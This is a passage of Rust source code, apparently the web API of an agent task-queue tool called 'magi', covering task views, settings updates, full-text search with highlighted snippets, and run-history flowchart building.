3451        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3452        Ok(crate::report_view::build(
3453            &state,
3454            state.liveness(daemon_claims),
3455        ))
3456    })
3457    .await?;
3458    Ok(Json(view))
3459}
3460
3461/// A task as the UI sees it.
3462///
3463/// The whole task, plus the two things the client would otherwise have to
3464/// reimplement: the human-readable source and the status string. Nothing is
3465/// removed - the phone shows `last_error` and the run history verbatim.
3466#[derive(Debug, Serialize)]
3467struct TaskView {
3468    #[serde(flatten)]
3469    task: Task,
3470    source_label: String,
3471    source_link: Option<SourceLink>,
3472    status_str: &'static str,
3473    /// The instruction, parsed as markdown, for the Queue card's "Full
3474    /// instruction" panel. `task.instruction` is unchanged and still carries
3475    /// the raw text.
3476    instruction_md: Vec<md::Node>,
3477    /// For a blocked task, what it waits on with each dependency's state, e.g.
3478    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3479    /// recurses; empty for every other status.
3480    waits_on: Vec<String>,
3481    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3482    /// behind - non-empty means nothing in the loop will ever run it.
3483    stuck_roots: Vec<String>,
3484}
3485
3486impl From<Task> for TaskView {
3487    fn from(task: Task) -> Self {
3488        Self {
3489            source_label: task.source.label(),
3490            source_link: source_link(&task.source),
3491            status_str: task.status.as_str(),
3492            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3493            waits_on: Vec::new(),
3494            stuck_roots: Vec::new(),
3495            task,
3496        }
3497    }
3498}
3499
3500impl TaskView {
3501    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3502        let waits_on = inv.waits_on(&task);
3503        let stuck_roots = inv
3504            .stuck_roots(&task)
3505            .iter()
3506            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3507            .collect();
3508        Self {
3509            waits_on,
3510            stuck_roots,
3511            ..Self::from(task)
3512        }
3513    }
3514}
3515
3516/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3517/// its absence, leaves the cache to decide.
3518#[derive(Debug, Default, Deserialize)]
3519#[serde(default)]
3520struct ReposQuery {
3521    refresh: u8,
3522}
3523
3524/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3525/// listing `magi repos` prints at a terminal.
3526///
3527/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3528/// so an edit to `magi.toml` takes effect without a restart, the same
3529/// reasoning [`config_for`] documents for the talk routes.
3530async fn repos_list(
3531    State(ui): State<Arc<Ui>>,
3532    Query(q): Query<ReposQuery>,
3533) -> ApiResult<Json<Vec<repos::Repo>>> {
3534    let refresh = q.refresh != 0;
3535    blocking(move || {
3536        let (cfg, _) = Config::discover(&ui.repo, None)?;
3537        Ok(Json(ui.repos_cache.list(
3538            &cfg.repos.roots,
3539            Duration::from_secs(cfg.repos.scan_ttl),
3540            refresh,
3541        )))
3542    })
3543    .await
3544}
3545
3546/// `GET /api/settings` - the effective role assignments and roster, with the
3547/// layer each came from. A config that fails to load answers 200 with an
3548/// `error`, so the screen can say so instead of drawing empty lists.
3549async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3550    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3551}
3552
3553/// The body of `PUT /api/settings/roles`.
3554#[derive(Debug, Deserialize)]
3555#[serde(deny_unknown_fields)]
3556struct RolesBody {
3557    /// The `revision` the client last read.
3558    revision: String,
3559    /// Role key to its new ids; an empty list resets the key to its default.
3560    #[serde(default)]
3561    roles: std::collections::BTreeMap<String, Vec<String>>,
3562    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
3563    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
3564    /// words (422) instead of as a deserialization error.
3565    #[serde(default)]
3566    counts: std::collections::BTreeMap<String, serde_json::Value>,
3567}
3568
3569/// `PUT /api/settings/roles` - save role assignments to the machine config.
3570///
3571/// The write target is `ui.machine_config` and nothing in the body can change
3572/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3573/// 422 with the reason in words.
3574async fn settings_put_roles(
3575    State(ui): State<Arc<Ui>>,
3576    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3577) -> ApiResult<Json<settings::SettingsView>> {
3578    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3579    blocking(move || {
3580        settings::save(
3581            &ui.repo,
3582            ui.machine_config.as_deref(),
3583            &body.revision,
3584            &body.roles,
3585            &body.counts,
3586        )
3587        .map(Json)
3588        .map_err(|e| match e {
3589            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3590            settings::SaveError::Refused(m) => ApiError {
3591                status: StatusCode::UNPROCESSABLE_ENTITY,
3592                message: m,
3593            },
3594            settings::SaveError::Internal(m) => ApiError::internal(m),
3595        })
3596    })
3597    .await
3598}
3599
3600async fn queue_list(
3601    State(ui): State<Arc<Ui>>,
3602    Query(q): Query<ListQuery>,
3603) -> ApiResult<Json<Vec<TaskView>>> {
3604    blocking(move || {
3605        let tasks = ui.queue.list();
3606        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3607        Ok(Json(
3608            tasks
3609                .into_iter()
3610                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3611                .map(|t| TaskView::with_inventory(t, &inv))
3612                .collect(),
3613        ))
3614    })
3615    .await
3616}
3617
3618/// Most hits one search returns. The rest are counted in `total`.
3619const SEARCH_MAX_HITS: usize = 100;
3620/// Longest query, in characters, and most terms it is split into.
3621const SEARCH_MAX_QUERY: usize = 200;
3622const SEARCH_MAX_TERMS: usize = 8;
3623/// Characters of context kept before the first hit, and after it.
3624const SNIPPET_BEFORE: usize = 50;
3625const SNIPPET_AFTER: usize = 110;
3626
3627/// `?scope=runs|tasks&q=...`
3628#[derive(Debug, Deserialize)]
3629struct SearchQuery {
3630    #[serde(default)]
3631    scope: String,
3632    #[serde(default)]
3633    q: String,
3634}
3635
3636/// One piece of a snippet. `hit` pieces are what matched; the client renders
3637/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3638#[derive(Debug, Serialize, PartialEq, Eq)]
3639struct SnippetPart {
3640    text: String,
3641    hit: bool,
3642}
3643
3644#[derive(Debug, Serialize)]
3645struct SearchHit {
3646    id: String,
3647    /// The name of the field the snippet was cut from.
3648    field: String,
3649    snippet: Vec<SnippetPart>,
3650    /// The run's list row, so the page can apply its state / section / repo
3651    /// filters to a hit outside the loaded window. Absent for tasks and for a
3652    /// run record the list view cannot read.
3653    #[serde(skip_serializing_if = "Option::is_none")]
3654    run: Option<RunSummary>,
3655}
3656
3657#[derive(Debug, Serialize)]
3658struct SearchView {
3659    scope: String,
3660    q: String,
3661    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3662    hits: Vec<SearchHit>,
3663    /// Every match, hits beyond the cap included.
3664    total: usize,
3665    truncated: bool,
3666    /// Runs whose `run.json` could not be parsed at all. They were not
3667    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3668    unreadable: usize,
3669}
3670
3671/// The text leaves of a JSON document, with the name of the field each sits
3672/// under. Keys and numbers are skipped: they are structure, not prose.
3673fn text_leaves<'a>(
3674    value: &'a serde_json::Value,
3675    field: &'a str,
3676    out: &mut Vec<(&'a str, &'a str)>,
3677) {
3678    match value {
3679        serde_json::Value::String(s) => out.push((field, s)),
3680        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3681        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3682        _ => {}
3683    }
3684}
3685
3686/// Lower-case one character without changing how many there are, so indices
3687/// in the lowered text are indices in the original.
3688fn fold_char(c: char) -> char {
3689    c.to_lowercase().next().unwrap_or(c)
3690}
3691
3692/// Split a query into its lower-cased terms.
3693fn search_terms(q: &str) -> Vec<String> {
3694    let mut terms: Vec<String> = Vec::new();
3695    for t in q.split_whitespace() {
3696        let t = t.to_lowercase();
3697        if !terms.contains(&t) {
3698            terms.push(t);
3699        }
3700    }
3701    terms
3702}
3703
3704/// Match `terms` (all of them, anywhere in the document) against the leaves
3705/// and cut a snippet around the first hit. `None` when a term is missing.
3706fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3707    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3708    let mut first: Option<usize> = None;
3709    for term in terms {
3710        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3711        first = Some(first.map_or(at, |f| f.min(at)));
3712    }
3713    // The leaf holding the earliest hit of any term is where the snippet is cut.
3714    let (field, text) = leaves[first?];
3715    Some(SearchHit {
3716        id: String::new(),
3717        field: field.to_owned(),
3718        snippet: snippet_of(text, terms),
3719        run: None,
3720    })
3721}
3722
3723/// A window of `text` around the first occurrence of any term, whitespace
3724/// collapsed, with every term occurrence inside the window marked.
3725fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3726    let chars: Vec<char> = text.chars().collect();
3727    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3728    let needles: Vec<Vec<char>> = terms
3729        .iter()
3730        .map(|t| t.chars().map(fold_char).collect())
3731        .collect();
3732    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3733        let mut best: Option<(usize, usize)> = None;
3734        for n in needles.iter().filter(|n| !n.is_empty()) {
3735            // `to` bounds where a match may start; it may run past `to` (the
3736            // caller clips what it shows). A term longer than the field cannot
3737            // occur in it (it may live in another leaf of the document).
3738            if n.len() > chars.len() || to == 0 {
3739                continue;
3740            }
3741            let last = (to - 1).min(chars.len() - n.len());
3742            if from > last {
3743                continue;
3744            }
3745            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3746                && best.is_none_or(|(b, _)| i < b)
3747            {
3748                best = Some((i, i + n.len()));
3749            }
3750        }
3751        best
3752    };
3753    let Some((start, _)) = find(0, chars.len()) else {
3754        // Matched only through a case mapping that changes length: show the head.
3755        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3756        return vec![SnippetPart {
3757            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3758            hit: false,
3759        }];
3760    };
3761    let lo = start.saturating_sub(SNIPPET_BEFORE);
3762    let hi = (start + SNIPPET_AFTER).min(chars.len());
3763    let mut parts: Vec<SnippetPart> = Vec::new();
3764    let mut push = |s: &[char], hit: bool| {
3765        if s.is_empty() {
3766            return;
3767        }
3768        let text: String = s.iter().collect();
3769        match parts.last_mut() {
3770            Some(p) if p.hit == hit => p.text.push_str(&text),
3771            _ => parts.push(SnippetPart { text, hit }),
3772        }
3773    };
3774    if lo > 0 {
3775        push(&['\u{2026}'], false);
3776    }
3777    let mut at = lo;
3778    while at < hi {
3779        match find(at, hi) {
3780            Some((s, e)) => {
3781                push(&chars[at..s], false);
3782                // A match running past the window is shown up to its edge.
3783                let shown = e.min(hi);
3784                push(&chars[s..shown], true);
3785                at = shown;
3786            }
3787            None => {
3788                push(&chars[at..hi], false);
3789                at = hi;
3790            }
3791        }
3792    }
3793    if hi < chars.len() {
3794        push(&['\u{2026}'], false);
3795    }
3796    // Collapse whitespace (newlines in an instruction) without disturbing the
3797    // hit boundaries.
3798    let mut prev_space = false;
3799    for p in &mut parts {
3800        let mut out = String::with_capacity(p.text.len());
3801        for c in p.text.chars() {
3802            if c.is_whitespace() {
3803                if !prev_space {
3804                    out.push(' ');
3805                }
3806                prev_space = true;
3807            } else {
3808                out.push(c);
3809                prev_space = false;
3810            }
3811        }
3812        p.text = out;
3813    }
3814    parts.retain(|p| !p.text.is_empty());
3815    parts
3816}
3817
3818/// The search over `docs` (id, document), newest first, capped.
3819fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3820where
3821    I: IntoIterator<Item = (String, serde_json::Value)>,
3822{
3823    for (id, doc) in docs {
3824        let mut leaves = Vec::new();
3825        // The id is text an operator types too, and it is a map key on disk,
3826        // not a leaf.
3827        leaves.push(("id", id.as_str()));
3828        text_leaves(&doc, "", &mut leaves);
3829        if let Some(mut hit) = search_document(terms, &leaves) {
3830            view.total += 1;
3831            if view.hits.len() < SEARCH_MAX_HITS {
3832                hit.id = id;
3833                view.hits.push(hit);
3834            }
3835        }
3836    }
3837    view.truncated = view.total > view.hits.len();
3838}
3839
3840/// What a conversation is searched by: its list title and each turn's text,
3841/// under `operator` / `agent` so the snippet says who spoke. Nothing else
3842/// (session ids, repo paths, usage, drafts) is part of the document.
3843///
3844/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
3845/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
3846fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3847    let opener = talk
3848        .turns
3849        .iter()
3850        .find(|t| t.who == crate::talk::Who::Operator)
3851        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3852        .unwrap_or("");
3853    let title: String = if opener.chars().count() > 96 {
3854        opener.chars().take(95).chain(['\u{2026}']).collect()
3855    } else {
3856        opener.to_owned()
3857    };
3858    let turns: Vec<serde_json::Value> = talk
3859        .turns
3860        .iter()
3861        .map(|t| {
3862            let who = match t.who {
3863                crate::talk::Who::Operator => "operator",
3864                crate::talk::Who::Agent => "agent",
3865            };
3866            serde_json::json!({ who: t.body })
3867        })
3868        .collect();
3869    serde_json::json!({ "title": title, "turns": turns })
3870}
3871
3872/// Read-only full-text search over every run's `run.json`, every task or every
3873/// conversation (title and transcript).
3874///
3875/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
3876/// record from an older schema still searches; only a file that is not JSON
3877/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
3878async fn search_get(
3879    State(ui): State<Arc<Ui>>,
3880    Query(q): Query<SearchQuery>,
3881) -> ApiResult<Json<SearchView>> {
3882    let query = q.q.trim().to_owned();
3883    if query.is_empty() {
3884        return Err(ApiError::bad_request("q must not be empty"));
3885    }
3886    if query.chars().count() > SEARCH_MAX_QUERY {
3887        return Err(ApiError::bad_request(format!(
3888            "q is longer than {SEARCH_MAX_QUERY} characters"
3889        )));
3890    }
3891    let terms = search_terms(&query);
3892    if terms.len() > SEARCH_MAX_TERMS {
3893        return Err(ApiError::bad_request(format!(
3894            "q has more than {SEARCH_MAX_TERMS} terms"
3895        )));
3896    }
3897    let scope = q.scope;
3898    if scope != "runs" && scope != "tasks" && scope != "chats" {
3899        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3900    }
3901    blocking(move || {
3902        let mut view = SearchView {
3903            scope: scope.clone(),
3904            q: query,
3905            hits: Vec::new(),
3906            total: 0,
3907            truncated: false,
3908            unreadable: 0,
3909        };
3910        if scope == "runs" {
3911            let mut unreadable = 0;
3912            // One run.json is read, matched and dropped at a time; nothing
3913            // holds the whole history. The scan runs to the end even past the
3914            // hit cap so `total` and `unreadable` stay exact.
3915            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3916                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3917                match body.and_then(|b| serde_json::from_str(&b).ok()) {
3918                    Some(v) => Some((id, v)),
3919                    None => {
3920                        unreadable += 1;
3921                        None
3922                    }
3923                }
3924            });
3925            search_docs(&terms, docs, &mut view);
3926            view.unreadable = unreadable;
3927            // Only the capped hits get a row: the filters need a run's state,
3928            // and reading every match would be the whole history again.
3929            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3930            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3931            for hit in &mut view.hits {
3932                if let Ok(state) = read_run(&ui.runs, &hit.id) {
3933                    hit.run = summarize(
3934                        [state],
3935                        &open_runs,
3936                        &claimed,
3937                        &superseded,
3938                        |p| probe.borrow_mut().status(p),
3939                        |p| probe.borrow_mut().started_at(p),
3940                    )
3941                    .pop();
3942                }
3943            }
3944        } else if scope == "chats" {
3945            let (talks, unreadable) = ui.talks.list_counting_unreadable();
3946            view.unreadable = unreadable;
3947            search_docs(
3948                &terms,
3949                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3950                &mut view,
3951            );
3952        } else {
3953            let docs = ui.queue.list().into_iter().filter_map(|t| {
3954                let mut v = serde_json::to_value(&t).ok()?;
3955                // `source` serialises as a tagged object; the label is what
3956                // the operator reads ("human", "chat@a1b2").
3957                if let Some(o) = v.as_object_mut() {
3958                    o.insert("filed_by".to_owned(), t.source.label().into());
3959                }
3960                Some((t.id, v))
3961            });
3962            search_docs(&terms, docs, &mut view);
3963        }
3964        Ok(Json(view))
3965    })
3966    .await
3967}
3968
3969/// One attempt in a task's history, as the task page lists it.
3970#[derive(Debug, Serialize)]
3971struct TaskRunView {
3972    /// 1-based position in [`Task::runs`].
3973    n: usize,
3974    id: String,
3975    short: String,
3976    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
3977    kind: &'static str,
3978    /// The run's own status string; `None` when its record cannot be read.
3979    status: Option<&'static str>,
3980    /// Whether this build could read the run's record. Counted, never hidden.
3981    readable: bool,
3982    /// A verdict from a collapsed panel is provisional, never a decision.
3983    provisional: bool,
3984    /// What kind of attempt this was, in one line.
3985    description: String,
3986    /// How it ended and why the task moved on (or what it is doing now).
3987    outcome: String,
3988    created_at: Option<Timestamp>,
3989    pr: Option<String>,
3990    /// Why this pass ended, classified once; the flowchart is built from it.
3991    exit: RunExit,
3992    /// What the pass did to the task's attempt budget.
3993    attempt: AttemptCost,
3994    /// The branch a review-only run reopened.
3995    branch: Option<String>,
3996}
3997
3998/// How one pass over a run ended, as far as the task's life is concerned.
3999#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4000#[serde(rename_all = "snake_case")]
4001enum RunExit {
4002    Unreadable,
4003    /// An earlier pass of a run id that appears again: it stopped short.
4004    Interrupted,
4005    Parked,
4006    QuotaStall,
4007    /// Stalled on a resumed pass with quota losses on record: they may be
4008    /// left over from an earlier pass, so whether this one was refunded is
4009    /// not knowable.
4010    ResumedQuotaStall,
4011    Merged,
4012    Ready,
4013    Superseded,
4014    /// The change was already on the base under other commits: the task
4015    /// finished without this run landing anything.
4016    AlreadyInBase,
4017    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4018    Stalled,
4019    /// Blocked / no-op with a pull request left open: held for a person.
4020    HeldWithPr,
4021    NoopHeld,
4022    /// Blocked or failed: the attempt is spent and the task retries or holds.
4023    Spent,
4024    InProgress,
4025}
4026
4027#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4028#[serde(rename_all = "snake_case")]
4029enum AttemptCost {
4030    Spent,
4031    Refunded,
4032    None,
4033    /// Cannot be told from the records that remain.
4034    Unknown,
4035}
4036
4037impl RunExit {
4038    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4039        let Some(s) = s else {
4040            return Self::Unreadable;
4041        };
4042        let status = s.status;
4043        if resumed_later {
4044            Self::Interrupted
4045        } else if s.parked {
4046            Self::Parked
4047        } else if !status.done() {
4048            Self::InProgress
4049        } else if matches!(status, RunStatus::Merged) {
4050            Self::Merged
4051        } else if matches!(status, RunStatus::Ready) {
4052            Self::Ready
4053        } else if matches!(status, RunStatus::Superseded) {
4054            Self::Superseded
4055        } else if matches!(status, RunStatus::AlreadyInBase) {
4056            Self::AlreadyInBase
4057        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4058            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4059        {
4060            if resumed {
4061                Self::ResumedQuotaStall
4062            } else {
4063                Self::QuotaStall
4064            }
4065        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4066            Self::HeldWithPr
4067        } else if matches!(status, RunStatus::VerifiedNoop) {
4068            Self::NoopHeld
4069        } else if matches!(status, RunStatus::Stalled) {
4070            Self::Stalled
4071        } else {
4072            Self::Spent
4073        }
4074    }
4075
4076    fn cost(self) -> AttemptCost {
4077        match self {
4078            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4079            Self::Merged
4080            | Self::Ready
4081            | Self::Stalled
4082            | Self::HeldWithPr
4083            | Self::NoopHeld
4084            | Self::Spent => AttemptCost::Spent,
4085            Self::InProgress => AttemptCost::None,
4086            Self::AlreadyInBase => AttemptCost::Refunded,
4087            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4088                AttemptCost::Unknown
4089            }
4090        }
4091    }
4092
4093    /// Short edge wording for leaving a run this way.
4094    fn edge_label(self, status: Option<&str>) -> String {
4095        match self {
4096            Self::Unreadable => "record unreadable".to_owned(),
4097            Self::Interrupted => "interrupted before the run finished".to_owned(),
4098            Self::Parked => "parked, attempt refunded".to_owned(),
4099            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4100            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4101            Self::Merged => "merged".to_owned(),
4102            Self::Ready => "ready, not merged".to_owned(),
4103            Self::Superseded => "superseded by a later attempt".to_owned(),
4104            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4105            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4106            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4107            Self::NoopHeld => "verified no-op".to_owned(),
4108            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4109            Self::InProgress => "in progress".to_owned(),
4110        }
4111    }
4112
4113    /// Does a task in `end` follow from a run that ended this way? When not,
4114    /// somebody closed or held the task by hand.
4115    fn explains(self, end: TaskStatus) -> bool {
4116        match self {
4117            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4118            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4119            Self::Unreadable | Self::Superseded | Self::Ready => true,
4120            _ => end != TaskStatus::Done,
4121        }
4122    }
4123}
4124
4125/// `GET /api/queue/{id}` - one task with every attempt it went through.
4126#[derive(Debug, Serialize)]
4127struct TaskDetailView {
4128    #[serde(flatten)]
4129    task: TaskView,
4130    /// The attempt budget `magi serve` / `magi web` start a loop with unless
4131    /// told otherwise; the loop's own flag is not visible from here.
4132    max_attempts: usize,
4133    history: Vec<TaskRunView>,
4134    flow: FlowView,
4135    /// How many entries of `history` could not be read.
4136    runs_unreadable: usize,
4137    /// Why the attempt count can be lower than the number of runs.
4138    attempts_note: &'static str,
4139}
4140
4141const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4142and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4143on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4144in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4145
4146/// The branch a review-only run reopened, read off the instruction
4147/// `Runner::open_review` writes.
4148fn review_branch_of(instruction: &str) -> Option<&str> {
4149    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4150    rest.split('`').next().filter(|b| !b.is_empty())
4151}
4152
4153/// Where an entry sits in a task's run list.
4154struct RunSlot<'a> {
4155    /// 1-based position.
4156    n: usize,
4157    /// The same run id appeared earlier: this pass resumed it.
4158    resumed: bool,
4159    /// Position of a later pass over the same run id, if any.
4160    resumed_later: Option<usize>,
4161    /// The previous distinct run and how it ended, for the retry note.
4162    prior: Option<(&'a str, RunStatus)>,
4163    last: bool,
4164}
4165
4166/// Describe one entry of a task's run list. Pure: everything it needs is on
4167/// the run and the task, so it is asserted without a server.
4168fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4169    let RunSlot {
4170        n,
4171        resumed,
4172        resumed_later,
4173        prior,
4174        last,
4175    } = at;
4176    let short = run::short_of(id).to_owned();
4177    let Some(s) = state else {
4178        return TaskRunView {
4179            n,
4180            id: id.to_owned(),
4181            short,
4182            kind: "unknown",
4183            status: None,
4184            readable: false,
4185            provisional: false,
4186            description:
4187                "This run's record could not be read by this build (written by a different \
4188                          magi, or removed), so what kind of attempt it was is unknown."
4189                    .to_owned(),
4190            outcome: String::new(),
4191            created_at: None,
4192            pr: None,
4193            exit: RunExit::Unreadable,
4194            attempt: AttemptCost::Unknown,
4195            branch: None,
4196        };
4197    };
4198    let branch = review_branch_of(&s.instruction);
4199    let kind = if resumed {
4200        "resume"
4201    } else if branch.is_some() {
4202        "review"
4203    } else if task.solo || s.candidates.len() == 1 {
4204        "solo"
4205    } else {
4206        "competition"
4207    };
4208    let mut description = match kind {
4209        "resume" => {
4210            format!("Resumed run {short}: the same run carried on instead of competing again.")
4211        }
4212        "review" => format!(
4213            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4214            branch.unwrap_or_default()
4215        ),
4216        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4217        _ => format!(
4218            "Competition: {} candidates judged blind.",
4219            s.candidates.len().max(1)
4220        ),
4221    };
4222    if !resumed && let Some((p, st)) = prior {
4223        description.push_str(&format!(
4224            " A retry: run {p} before it ended {}.",
4225            st.display_label()
4226        ));
4227    }
4228
4229    let status = s.status;
4230    let provisional = matches!(status, RunStatus::Stalled)
4231        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4232    let head = if resumed_later.is_some() {
4233        String::new()
4234    } else {
4235        match status {
4236            RunStatus::Merged => "Merged.".to_owned(),
4237            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4238            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4239            RunStatus::AlreadyInBase => {
4240                "Already in the base: this change landed under other commits, nothing was left to land."
4241                    .to_owned()
4242            }
4243            RunStatus::Stalled => {
4244                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4245                    .to_owned()
4246            }
4247            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4248            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4249            RunStatus::VerifiedNoop => {
4250                "Verified no-op: the candidates found nothing to change.".to_owned()
4251            }
4252            other if other.done() => format!("Ended {}.", other.display_label()),
4253            other => format!("In progress ({}).", other.display_label()),
4254        }
4255    };
4256    let why = if let Some(k) = resumed_later {
4257        // A run is only picked up again while it is unfinished, so an earlier
4258        // pass of a repeated id stopped short; the record keeps only the run's
4259        // latest status, which is left to the pass that carried it on.
4260        // Only the latest state is recorded: `parked` is cleared on resume
4261        // and `quota` accumulates across passes, so neither says why *this*
4262        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4263        let cause = if s.quota.is_empty() {
4264            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4265        } else {
4266            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4267        };
4268        format!(
4269            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4270        )
4271    } else if s.parked {
4272        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4273            .to_owned()
4274    } else if !status.done()
4275        || matches!(
4276            status,
4277            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4278        )
4279    {
4280        String::new()
4281    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4282        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4283    {
4284        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4285            .to_owned()
4286    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4287        " It left a pull request open, so the task was held for a person rather than retried."
4288            .to_owned()
4289    } else if matches!(status, RunStatus::VerifiedNoop) {
4290        " Held for a person to check the claim.".to_owned()
4291    } else if last {
4292        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4293    } else {
4294        " It spent an attempt, and the task moved on to the next run.".to_owned()
4295    };
4296    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4297    TaskRunView {
4298        n,
4299        id: id.to_owned(),
4300        short,
4301        kind,
4302        status: Some(status.as_str()),
4303        readable: true,
4304        provisional,
4305        description,
4306        outcome: format!("{head}{why}"),
4307        created_at: Some(s.created_at),
4308        pr: s.pr.as_ref().map(|p| p.url.clone()),
4309        exit,
4310        attempt: exit.cost(),
4311        branch: branch.map(str::to_owned),
4312    }
4313}
4314
4315/// One box of the task's flowchart.
4316#[derive(Debug, Serialize, PartialEq)]
4317struct FlowNode {
4318    /// Unique by position: a resumed run id appears once per pass.
4319    key: String,
4320    /// `chat`, `start`, `run` or `end`.
4321    kind: &'static str,
4322    label: String,
4323    /// Run status (or the task's, for `end`); `None` when it is not a fact
4324    /// about this box (unreadable, or a pass the run later resumed from).
4325    status: Option<&'static str>,
4326    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4327    note: Option<&'static str>,
4328    run_kind: Option<&'static str>,
4329    detail: Option<String>,
4330    /// A readable run with a real verdict; a stall never is.
4331    decided: bool,
4332    readable: bool,
4333    href: Option<String>,
4334}
4335
4336#[derive(Debug, Serialize, PartialEq)]
4337struct FlowEdge {
4338    from: String,
4339    to: String,
4340    label: String,
4341    attempt: AttemptCost,
4342}
4343
4344#[derive(Debug, Serialize, PartialEq)]
4345struct FlowView {
4346    nodes: Vec<FlowNode>,
4347    edges: Vec<FlowEdge>,
4348    /// Attempts the task has counted since it was last released.
4349    attempts: usize,
4350    max_attempts: usize,
4351}
4352
4353/// Turn a task and its described runs into the flowchart's boxes and arrows.
4354/// Pure: the page only draws what this returns.
4355fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4356    let node = |key: &str, kind, label: String| FlowNode {
4357        key: key.to_owned(),
4358        kind,
4359        label,
4360        status: None,
4361        note: None,
4362        run_kind: None,
4363        detail: None,
4364        decided: false,
4365        readable: true,
4366        href: None,
4367    };
